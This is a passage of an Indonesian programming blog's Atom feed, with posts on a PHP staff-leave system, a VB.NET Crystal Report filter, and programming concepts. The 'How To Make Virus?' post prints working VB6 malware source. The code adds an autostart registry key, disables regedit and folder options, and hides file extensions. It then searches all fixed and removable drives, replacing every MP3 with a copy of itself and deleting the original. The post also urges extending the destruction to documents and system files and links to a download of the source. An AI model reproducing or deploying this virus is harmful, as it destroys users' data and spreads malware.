Line'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-8426205854444125049</id><published>2008-10-09T00:17:00.001+07:00</published><updated>2008-10-09T00:17:11.425+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>PHP Source Code - Sistem Informasi Kepegawaian</title><content type='html'>&lt;p align="justify"&gt;Sistem Informasi Kepegawaian berbasis platform PHP dengan database My SQL   &lt;br /&gt;Pada aplikasi ini karyawan dapat mengajukan permohonan cuti dan mendapatkan persetujuan cuti dari atasan secara online. Atasan dapat melihat daftar riwayat cuti karyawan.&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;&lt;a href="http://sites.google.com/site/persadaku/Home/listingprogramkaryawan.zip?attredirects=0"&gt;Download source code14&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Program pendukung   &lt;br /&gt;&lt;a href="http://sourceforge/projects/phptriad"&gt;1. PHP Triad15&lt;/a&gt;    &lt;br /&gt;&lt;a href="http://www.mysql.com"&gt;2. My SQL16&lt;/a&gt;    &lt;br /&gt;&lt;a href="http://www.soysal.com/PHPEd"&gt;3. PHP Editor17&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Source : &lt;a href="http://persada-download.blogspot.com/2008/10/php-source-code-sistem-informasi.html" target="_blank"&gt;persada-download.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class="wlWriterEditableSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:413fd5b0-7921-4a5a-a1a7-395118e533c2" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/php" rel="tag"&gt;php&lt;/a&gt;,&lt;a href="http://technorati.com/tags/kepegawaian" rel="tag"&gt;kepegawaian&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source+code" rel="tag"&gt;source code&lt;/a&gt;,&lt;a href="http://technorati.com/tags/download" rel="tag"&gt;download&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-8426205854444125049?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/8426205854444125049/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=8426205854444125049&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/8426205854444125049'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/8426205854444125049'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/10/php-source-code-sistem-informasi.html' title='PHP Source Code - Sistem Informasi Kepegawaian'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-7975736678422800111</id><published>2008-10-09T00:12:00.001+07:00</published><updated>2008-10-09T00:12:57.034+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic'/><title type='text'>VB.NET 2005 Source Code Crystal Report : Filter Crystal Report Dengan Bulan dan Tahun</title><content type='html'>&lt;p align="justify"&gt;Halouw balik lagi nih gwe setelah lama libur ga posting hehehe… Sekarang kita agak sedikit belajar nih, gwe mau berbagi ama lo semua tentang coding VB.NET 2005. Kali ini coding yang mau gwe kasih tahu adalah coding aplikasi VB.NET menggunakan Crystal Report di mana Crystal Report tersebut difilter dengan bulan dan tahun.&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Pertama gwe pengin minta maaf dulu soalnya gwe lupa bikin snapshot aplikasinya jadi maaf kalo agak bingung ngikutin penjelasannya. Pertama yang gwe lakukan adalah gwe bikin sebuah form yang berisikan dua buah comboBox. comboBox yang pertama gwe namain cmbMonth yang tentunya berisikan bulan dari Januari dst. Terus untuk comboBox yang kedua gwe namain cmbYear yang berisikan tahun. Untuk tahunnya gwe isi dari tahun 1996 sampe 2010 kenapa gwe mulai dari 1996 ? soalnya gwe ngambil database Northwind tablenya Orders dimana tahun yang ada disitu dari 1996 sampe 1997, soal sampe 2010 itu sih terserah yang bikin dunks hehehehe &lt;img alt=":)" src="http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif" /&gt; . Dan gwe tambahin juga sebuah button untuk mengeksekusi perintah setelah user memberikan pilihan bulan dan tahun, button tersebut gwe namain btnSubmit. Moving on, sesudah itu gwe bikin Crystal Report dengan menggunkan database Northwind dengan table Orders, untuk ini gwe pengin minta maaf lagi soalnya column yang gwe masukin ke CR lupa apa aja, tapi tenang aja koq soalnya file aplikasinya dah gwe upload jadi you-you semua tinggal unduh aja (download maksudnya). Oya satu lagi, gwe bikin CR-nya pake wizard bukan pake blank report tapi untuk yang ini terserah aja tergantung kebutuhan dan selera mau pake yang wizard atau Blank Report. terus gwe masukin semua column yang pengin gwe tampilkan. Setelah itu gwe save CR-nya, dan berlanjut ke codingan untuk Form aplikasi Programnya, berikut ini adalah codingnya:&lt;/p&gt;  &lt;p align="justify"&gt;Public Class Form1   &lt;br /&gt;Dim NW_Rpt As New NW_OrderReport    &lt;br /&gt;Dim int_bulan As Integer    &lt;br /&gt;Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load    &lt;br /&gt;Me.CrystalReportViewer1.ReportSource = NW_Rpt    &lt;br /&gt;End Sub&lt;/p&gt;  &lt;p align="justify"&gt;‘Private Sub cmbMonth_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmbMonth.SelectedIndexChanged   &lt;br /&gt;‘End Sub&lt;/p&gt;  &lt;p align="justify"&gt;‘Private Sub cmbYear_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmbYear.SelectedIndexChanged   &lt;br /&gt;‘End Sub&lt;/p&gt;  &lt;p align="justify"&gt;Private Sub btnSubmit_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnSubmit.Click   &lt;br /&gt;Try    &lt;br /&gt;Select Case cmbMonth.Text    &lt;br /&gt;Case “Januari”    &lt;br /&gt;int_bulan = 1    &lt;br /&gt;Case “Februari”    &lt;br /&gt;int_bulan = 2    &lt;br /&gt;Case “Maret”    &lt;br /&gt;int_bulan = 3    &lt;br /&gt;Case “April”    &lt;br /&gt;int_bulan = 4    &lt;br /&gt;Case “Mei”    &lt;br /&gt;int_bulan = 5    &lt;br /&gt;Case “Juni”    &lt;br /&gt;int_bulan = 6    &lt;br /&gt;Case “Juli”    &lt;br /&gt;int_bulan = 7    &lt;br /&gt;Case “Agustus”    &lt;br /&gt;int_bulan = 8    &lt;br /&gt;Case “September”    &lt;br /&gt;int_bulan = 9    &lt;br /&gt;Case “Oktober”    &lt;br /&gt;int_bulan = 10    &lt;br /&gt;Case “November”    &lt;br /&gt;int_bulan = 11    &lt;br /&gt;Case “Desember”    &lt;br /&gt;int_bulan = 12    &lt;br /&gt;End Select    &lt;br /&gt;CrystalReportViewer1.SelectionFormula = “{Orders.OrderDate} in datetime(” &amp;amp; cmbYear.Text &amp;amp; “,” &amp;amp; int_bulan.ToString() &amp;amp; “,1) to datetime(” &amp;amp; cmbYear.Text &amp;amp; “,” &amp;amp; int_bulan.ToString() &amp;amp; “,” &amp;amp; Now.Day.ToString() &amp;amp; “)”    &lt;br /&gt;CrystalReportViewer1.RefreshReport()    &lt;br /&gt;Catch ex As Exception    &lt;br /&gt;MessageBox.Show(”Report Error”, “Form Filter Report”, MessageBoxButtons.OK, MessageBoxIcon.Error)    &lt;br /&gt;End Try    &lt;br /&gt;End Sub    &lt;br /&gt;End Class&lt;/p&gt;  &lt;p align="justify"&gt;Jadi untuk penjelasan teknisnya gimana ntu CR bisa difilter begini ceritanya. Pertama gwe bikin Selection Formula dimana SelectionFormula ini berguna untuk melakukan macam-macam rumus untuk kegunaan di CR dan salah satunya untuk filter CR itu sendiri. Untuk yang masih bingung yang mana sih SelectionFormulanya ? yang ini lho “{Orders.OrderDate} in datetime(1996,8,1) to datetime(1997,1,1)”, tapi untuk keperluan coding diatas 1996 atau tahunnya gwe ganti dengan pilihan tahun yang ada di cmbYear dan bulannya gwe ganti dengan pilihan yang yang ada di cmbMonth.&lt;/p&gt;  &lt;p align="justify"&gt;Mungkin ada yang bertanya-tanya gimana kan di cmbMonth pilhannya adanya Januari, Februari,dst sementara format yang ada di SelectionFormula berupa (YYYY,mm,dd) dan itu semua berupa angka bukan huruf. Untuk itulah gwe menggunakan coding Conditional Sytax yang dimana coding tersebut adalah Select…Case seperti diatas, Jadi dengan menggunakan coding tersebut apabila user memilih Januari, maka input yang masuk adalah bukan huruf Januari melainkan angka 1, itu berlaku juga untuk Februari adalah angka 2 begitu seterusnya untuk bulan-bulan berikutnya.&lt;/p&gt;  &lt;p align="justify"&gt;Begitulah untuk pembelajaran ini, sori kalo masih banyak salahnya, gwe hanya ingin mencoba berbagi ilmu dengan siapa saja, mudah-mudahan bermanfaat hehehe, lain kali gwe kasih lagi coding-coding atau source code lain yang mudah-mudahan berguna untuk keperluan apapun.&lt;/p&gt;  &lt;p align="justify"&gt;Aplikasi tersebut dibuat dengan Visual Studio 2005. Bahasa pemrograman VB.NET, dan menggunakan SQL Server 2005 database Northwind table Orders, dan Crystal Report bawaan Visual Studio 2005&lt;/p&gt;  &lt;p align="justify"&gt;Oya untuk yang pengin download aplikasi program diatas silahkan klik link berikut:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://h1.ripway.com/ryanrei/CR_Filter_month.rar"&gt;CR_Filter_month&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Source : &lt;a href="http://rockwithryan.wordpress.com/2008/10/06/vbnet-2005-source-code-crystal-report-filter-crystal-report-dengan-bulan-dan-tahun/" target="_blank"&gt;rockwithryan.wordpress.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class="wlWriterEditableSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:4607edd5-0f9e-4470-ae25-0e7002bd4e5f" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/visual+basic" rel="tag"&gt;visual basic&lt;/a&gt;,&lt;a href="http://technorati.com/tags/crystal+report" rel="tag"&gt;crystal report&lt;/a&gt;,&lt;a href="http://technorati.com/tags/filter" rel="tag"&gt;filter&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source+code" rel="tag"&gt;source code&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-7975736678422800111?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/7975736678422800111/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=7975736678422800111&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/7975736678422800111'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/7975736678422800111'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/10/vbnet-2005-source-code-crystal-report.html' title='VB.NET 2005 Source Code Crystal Report : Filter Crystal Report Dengan Bulan dan Tahun'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-8060018168620958028</id><published>2008-10-09T00:10:00.002+07:00</published><updated>2009-01-15T01:55:48.239+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic'/><title type='text'>Mini Market With VB 6 + Access &amp; Sql</title><content type='html'>&lt;p align="justify"&gt;Ada komplain,  postingan dihapus ye.. ;) &lt;strong&gt;Sorry&lt;/strong&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-8060018168620958028?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/8060018168620958028/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=8060018168620958028&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/8060018168620958028'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/8060018168620958028'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/10/mini-market-with-vb-6-access-sql.html' title='Mini Market With VB 6 + Access &amp;amp; Sql'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-1623904629272674896</id><published>2008-09-02T23:19:00.001+07:00</published><updated>2008-09-02T23:19:13.706+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic'/><title type='text'>How To Make Virus?</title><content type='html'>&lt;p align="justify"&gt;Emang sich, virus adalah sesuatu yg tidak baik.   &lt;br /&gt;tapi virus ini sangat berguna.. virus ini adalah sesuatu yg dapat merusak sesuatu terutama komputer. kamu pasti tahu orang2 yg suka membajak kaset? nah untuk mencegah hal itu, kita bisa menyebarkan virus ini. ya, klo hidup gak ada music bisa mati... he2 y tapi gak ap kan bajak aj!&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;ciri2 virus ini adlh:&lt;/p&gt;  &lt;p align="justify"&gt;1. menon aktifkan :   &lt;br /&gt;- Folder Option    &lt;br /&gt;- Penglihatan Extensi file (.doc, .exe, .mp3), maksudnya jika kita di windows explorer bisa melihat ekstensi file maka kita tak akan melihat ekstensi file tersebut, biasa pertahanan diri gitu    &lt;br /&gt;- mengunci regedit (seperti biasa)    &lt;br /&gt;- mematikan winamp secara tiba2 jika file virus aktif    &lt;br /&gt;bisa dilihat pada code dibawah ini:&lt;/p&gt;  &lt;p align="justify"&gt;Dim titik As String   &lt;br /&gt;titik = &amp;quot;&amp;quot;&amp;quot;&amp;quot;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;CreateKey &amp;quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ServiceOptionMP3&amp;quot;, _     &lt;br /&gt;titik &amp;amp; &amp;quot;c:\windows\winamp.dll.exe&amp;quot; &amp;amp; titik      &lt;br /&gt;CreateIntegerKey &amp;quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt&amp;quot;, 1      &lt;br /&gt;CreateIntegerKey &amp;quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools&amp;quot;, 1      &lt;br /&gt;CreateKey &amp;quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit&amp;quot;, &amp;quot;1&amp;quot;      &lt;br /&gt;CreateIntegerKey &amp;quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools&amp;quot;, 1      &lt;br /&gt;CreateKey &amp;quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit&amp;quot;, &amp;quot;1&amp;quot;      &lt;br /&gt;CreateIntegerKey &amp;quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions&amp;quot;, 1      &lt;br /&gt;CreateKey &amp;quot;HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption&amp;quot;, &amp;quot;STOP PIRACY!!!!&amp;quot;      &lt;br /&gt;CreateKey &amp;quot;HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText&amp;quot;, &amp;quot;Stop pembajakan Musisi Dalam Negeri, Jangan Gunakan MP3 lagi (sok sok an) huahahahahaha!!!&amp;quot;      &lt;br /&gt;Shell &amp;quot;taskkill /f /im winamp.exe&amp;quot;, vbHide&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;2. Mencari file berekstensi .mp3 yang ada di hardisk, lihat saja code di bawah ini :&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;'///////////////////////Sub Perangkap Hardisk/////////////     &lt;br /&gt;Sub cari()      &lt;br /&gt;Dim ictr As Integer      &lt;br /&gt;'If InStr(cboDrives.Text, &amp;quot;All Hard Drives&amp;quot;) &amp;gt; 0 Then      &lt;br /&gt;For ictr = 0 To UBound(sDrives)      &lt;br /&gt;'////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc      &lt;br /&gt;GetFiles sDrives(ictr), True, &amp;quot;*.mp3&amp;quot;      &lt;br /&gt;Next      &lt;br /&gt;'Else      &lt;br /&gt;'////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc      &lt;br /&gt;' frmMain.GetFiles cboDrives.Text, True, &amp;quot;*.doc&amp;quot;      &lt;br /&gt;'End If      &lt;br /&gt;' frmMain.Visible = True      &lt;br /&gt;End Sub      &lt;br /&gt;Dan kode ini untuk mencari seluruh partisi hardisk yang ada di komputer      &lt;br /&gt;Dim ictr As Integer      &lt;br /&gt;Dim iDriveCount As Integer      &lt;br /&gt;Dim sAllDrives As String      &lt;br /&gt;Dim sDrive As String      &lt;br /&gt;ReDim sDrives(0) As String      &lt;br /&gt;For ictr = 66 To 90      &lt;br /&gt;sDrive = Chr(ictr) &amp;amp; &amp;quot;:\&amp;quot;      &lt;br /&gt;If DriveType(sDrive) = &amp;quot;Fixed Drive&amp;quot; Or DriveType(sDrive) = &amp;quot;Removable Drive&amp;quot; Then      &lt;br /&gt;If sAllDrives &amp;lt;&amp;gt; &amp;quot;&amp;quot; Then sAllDrives = sAllDrives &amp;amp; &amp;quot;, &amp;quot;      &lt;br /&gt;sAllDrives = sAllDrives &amp;amp; sDrive      &lt;br /&gt;iDriveCount = iDriveCount + 1      &lt;br /&gt;End If      &lt;br /&gt;Next&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;3. Mencari dan MELAHAP SELURUH FILE MP3 TANPA AMPUN, lihat code di bawah ini:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;'//////////////////////////////Sub perangkap File/////////////////////     &lt;br /&gt;Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = &amp;quot;*.*&amp;quot;)      &lt;br /&gt;'Screen.MousePointer = vbHourglass      &lt;br /&gt;'Dim li As ListItem      &lt;br /&gt;Dim WFD As WIN32_FIND_DATA      &lt;br /&gt;Dim hFile As Long, fPath As String, fName As String      &lt;br /&gt;Dim bawa As Long      &lt;br /&gt;fPath = AddBackslash(Path)      &lt;br /&gt;Dim sPattern As String      &lt;br /&gt;sPattern = Pattern      &lt;br /&gt;fName = fPath &amp;amp; sPattern      &lt;br /&gt;hFile = FindFirstFile(fName, WFD)      &lt;br /&gt;On Error Resume Next      &lt;br /&gt;'///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan/////      &lt;br /&gt;If (hFile &amp;gt; 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) &amp;lt;&amp;gt; FILE_ATTRIBUTE_DIRECTORY) Then      &lt;br /&gt;'Set li = lvFiles.ListItems.Add(, , fPath &amp;amp; StripNulls(WFD.cFileName))      &lt;br /&gt;'MsgBox fPath &amp;amp; StripNulls(WFD.cFileName)      &lt;br /&gt;'//////mengeset atribut file .doc menjadi atribut archive atau biasa      &lt;br /&gt;bawa = SetFileAttributes(fPath &amp;amp; StripNulls(WFD.cFileName), 0)      &lt;br /&gt;FileCopy App.Path &amp;amp; &amp;quot;\&amp;quot; &amp;amp; App.EXEName &amp;amp; &amp;quot;.exe&amp;quot;, fPath &amp;amp; StripNulls(WFD.cFileName) &amp;amp; &amp;quot;.exe&amp;quot;      &lt;br /&gt;DeleteFile fPath &amp;amp; StripNulls(WFD.cFileName)      &lt;br /&gt;End If      &lt;br /&gt;If hFile &amp;gt; 0 Then      &lt;br /&gt;While FindNextFile(hFile, WFD)      &lt;br /&gt;'///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan/////      &lt;br /&gt;If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) &amp;lt;&amp;gt; FILE_ATTRIBUTE_DIRECTORY) Then      &lt;br /&gt;'Set li = lvFiles.ListItems.Add(, , fPath &amp;amp; StripNulls(WFD.cFileName))      &lt;br /&gt;'MsgBox fPath &amp;amp; StripNulls(WFD.cFileName)      &lt;br /&gt;'//////mengeset atribut file .doc menjadi atribut archive atau biasa      &lt;br /&gt;bawa = SetFileAttributes(fPath &amp;amp; StripNulls(WFD.cFileName), 0)      &lt;br /&gt;FileCopy App.Path &amp;amp; &amp;quot;\&amp;quot; &amp;amp; App.EXEName &amp;amp; &amp;quot;.exe&amp;quot;, fPath &amp;amp; StripNulls(WFD.cFileName) &amp;amp; &amp;quot;.exe&amp;quot;      &lt;br /&gt;DeleteFile fPath &amp;amp; StripNulls(WFD.cFileName)      &lt;br /&gt;End If      &lt;br /&gt;Wend      &lt;br /&gt;End If      &lt;br /&gt;If SubFolder Then      &lt;br /&gt;hFile = FindFirstFile(fPath &amp;amp; &amp;quot;*.*&amp;quot;, WFD)      &lt;br /&gt;If (hFile &amp;gt; 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _      &lt;br /&gt;StripNulls(WFD.cFileName) &amp;lt;&amp;gt; &amp;quot;.&amp;quot; And StripNulls(WFD.cFileName) &amp;lt;&amp;gt; &amp;quot;..&amp;quot; Then      &lt;br /&gt;GetFiles fPath &amp;amp; StripNulls(WFD.cFileName), True, sPattern      &lt;br /&gt;End If      &lt;br /&gt;While FindNextFile(hFile, WFD)      &lt;br /&gt;If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _      &lt;br /&gt;StripNulls(WFD.cFileName) &amp;lt;&amp;gt; &amp;quot;.&amp;quot; And StripNulls(WFD.cFileName) &amp;lt;&amp;gt; &amp;quot;..&amp;quot; Then      &lt;br /&gt;GetFiles fPath &amp;amp; StripNulls(WFD.cFileName), True, sPattern      &lt;br /&gt;End If      &lt;br /&gt;Wend      &lt;br /&gt;End If      &lt;br /&gt;FindClose hFile      &lt;br /&gt;'Set li = Nothing      &lt;br /&gt;'Screen.MousePointer = vbDefault      &lt;br /&gt;End Sub&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;Nah setelah terkena file ini maka yang akan terjadi seluruh file mp3 akan berubah menjadi .exe dan file .mp3 akan dihapus tanpa amapun....buehehehehehe....jadi ya siap - siap mem-backup hardisk anda terutama file mp3. OKeh......ih kok jahat sekali sih.....ya sekali lagi membuat virus itu harus jahat.&lt;/p&gt;  &lt;p align="justify"&gt;   &lt;br /&gt;-------------------------------TIPS SETAN-----------------------------------    &lt;br /&gt;COBA YANG DICARI BUKAN FILE MP3 SAJA TAPI FILE SISTEM ATAU FILE .DOC .XLS DAN .DAT, BUKANKAH ITU MENYENANGKAN?Tapi tetep saja menjadi penghancur.....seorang virus maker yang baik tidak akan menghancurkan tapi akan membuat dunia lebih baik lewat komputer tul gak...    &lt;br /&gt;-------------------------------------------------------------------------------&lt;/p&gt;  &lt;p align="justify"&gt;   &lt;br /&gt;Di sini kita hanya belajar bagai mana virus tersebut bekerja...bagaimana virus tersebut di program, sehingga kita tau jalan dan proses virus tersebut dan sekaligus menyelamatkan bangsa kita dari aktifitas pembajakan - pembajakan......soalnya NENEK MOYANGKU SEORANG PELAUT, coba nenek moyangku seorang sarjana atau seorang dermawan, pasti kita hasilnya beda kan...huahahahahaha....yang jelas program ini dapat dijadikan untuk proteksi file apa saja. Misalnya kita punya e-book gratis, lalu dibajak sama orang...ck ck ck kasian sudah gratis dibajak pula...nah untuk memberi pelajaran kepada orang itu gunakan program ini....hihihihihi...yang jelas ini ilmu dan tidak boleh disembunyikan, saya tidak bertanggung jawab atas kerusakan yang terjadi di komputer anda.&lt;/p&gt;  &lt;p align="justify"&gt;Tetapi yang jelas virus ini MASIH BANYAK KELEMAHANNYA, mungkin anda dapat mengembangkannya sendiri. Terserah ingin dikembangkan kode penyebarannya, kode pertahannannya atau judul lagunya mau di rubah, bukan Samson-Naluri Lelaki lagi, tapi mungkin lagi lain yang akhir - akhir ini sedang naik daun. kayak lagu apaaaaaaa gitu pokoknya....nah sekarang coba bedakan gambar di bawah ini, mana yang virus hayooohhhh!!!!!&lt;/p&gt;  &lt;p align="justify"&gt;Ok... kamu bisa download source code virusnya &lt;a href="http://www.virologi.info/download/mp3viri.zip"&gt;DSinI&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;source : &lt;a target="_blank" href="http://gila-blog.blogspot.com/2008/09/how-to-make-virus.html"&gt;gila-blog.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:1e5b2719-ba63-4b7c-b5c1-aae3f6defba6" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/virus" rel="tag"&gt;virus&lt;/a&gt;,&lt;a href="http://technorati.com/tags/programming" rel="tag"&gt;programming&lt;/a&gt;,&lt;a href="http://technorati.com/tags/visual%20basic" rel="tag"&gt;visual basic&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-1623904629272674896?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/1623904629272674896/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=1623904629272674896&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/1623904629272674896'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/1623904629272674896'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/09/how-to-make-virus.html' title='How To Make Virus?'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-6078406860068809462</id><published>2008-08-21T20:18:00.001+07:00</published><updated>2008-08-21T20:18:27.770+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Review'/><title type='text'>Konsep Bahasa Pemrograman</title><content type='html'>&lt;p align="justify"&gt;Buat yang ambil jurusan Teknik Informatika, siapa c yang gak ngerti sama Algoritma dan Pemrograman?   &lt;br /&gt;Yah bisa dibilang pelajarannya calon programmer.&lt;/p&gt;  &lt;p align="justify"&gt;Mata kuliah ini bisa dibilang cukup asyik dan menarik. Yah menurutku begitu sih..   &lt;br /&gt;Setelah aku baca-baca lagi modul buatan dosenq, aku jadi kepikiran ngepost ringkasannya.    &lt;br /&gt;Ini bisa dibilang bab I dari Algoritma Pemrograman, yaitu tentang konsep bahasa pemrograman.&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Nah yang aq tulis ini ringkasannya,, lumayan, ringkasan ini bisa bikin nilai Alproq bagus hehehe.. (gak nyombong loh... ^_^ )   &lt;br /&gt;Oke langsung aja yah... Kita mulai :    &lt;br /&gt;&lt;strong&gt;Konsep Bahasa Pemrograman     &lt;br /&gt;&lt;/strong&gt;    &lt;br /&gt;Definisi Program    &lt;br /&gt;&amp;#8226; Adalah kumpulan instruksi-instruksi tersendiri yang biasanya disebut source code yang dibuat oleh programmer (pembuat program).    